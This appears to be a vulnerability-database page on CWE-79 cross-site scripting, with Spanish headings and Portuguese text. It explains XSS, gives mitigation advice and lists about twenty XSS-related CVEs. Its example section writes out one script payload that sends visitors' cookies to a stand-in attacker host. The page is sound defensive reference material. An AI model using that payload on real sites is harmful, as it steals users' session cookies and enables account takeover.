Fallos del tipo CWE-79

28.880 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24283—Accordion < 2.2.30 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 0.6%CVE-2022-29406MEDIUMWordPress Team Manager plugin <= 1.6.9 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2021-24751—GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-38219HIGHValidate Your Inputs | Cross-site Scripting (Stored XSS) (CWE-79) - Customer to Admin stored XSS with Gift wrappingEPSS 0.6%CVE-2025-9003MEDIUMD-Link DIR-818LW DHCP Reserved Address bsc_lan.php cross site scriptingEPSS 0.6%CVE-2023-45137CRITICALXWiki Platform XSS with edit right in the create document form for existing pagesEPSS 0.6%CVE-2021-34359MEDIUMStored XSS Vulnerability in Proxy ServerEPSS 0.6%CVE-2024-53388HIGHA DOM Clobbering vulnerability in mavo v0.3.2 allows attackers to execute arbitrary code via supplying a crafted HTML element.EPSS 0.6%CVE-2012-10005LOWmanikandan170890 php-form-builder-class Textarea Textarea.php cross site scriptingEPSS 0.6%CVE-2024-53387HIGHA DOM Clobbering vulnerability in umeditor v1.2.3 allows attackers to execute arbitrary code via supplying a crafted HTML element.EPSS 0.6%CVE-2026-41200HIGHSTIG Manager has reflected XSS vulnerability in the Web AppEPSS 0.6%CVE-2020-3355MEDIUMCisco Data Center Network Manager Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-39220MEDIUMXSS Vulnerabilities in WebClientEPSS 0.6%CVE-2019-15269MEDIUMCisco Firepower Management Center Multiple Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2020-3149MEDIUMCisco Identity Services Engine Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-0906MEDIUMUnrestricted file upload leads to stored XSS in microweber/microweberEPSS 0.6%CVE-2020-3348MEDIUMCisco Data Center Network Manager Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2022-0703—GD Mylist <= 1.1.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-0772MEDIUMCross-site Scripting (XSS) - Stored in librenms/librenmsEPSS 0.6%CVE-2021-27416MEDIUMCross-site scripting in Hitachi ABB Power Grids Ellipse EAMEPSS 0.6%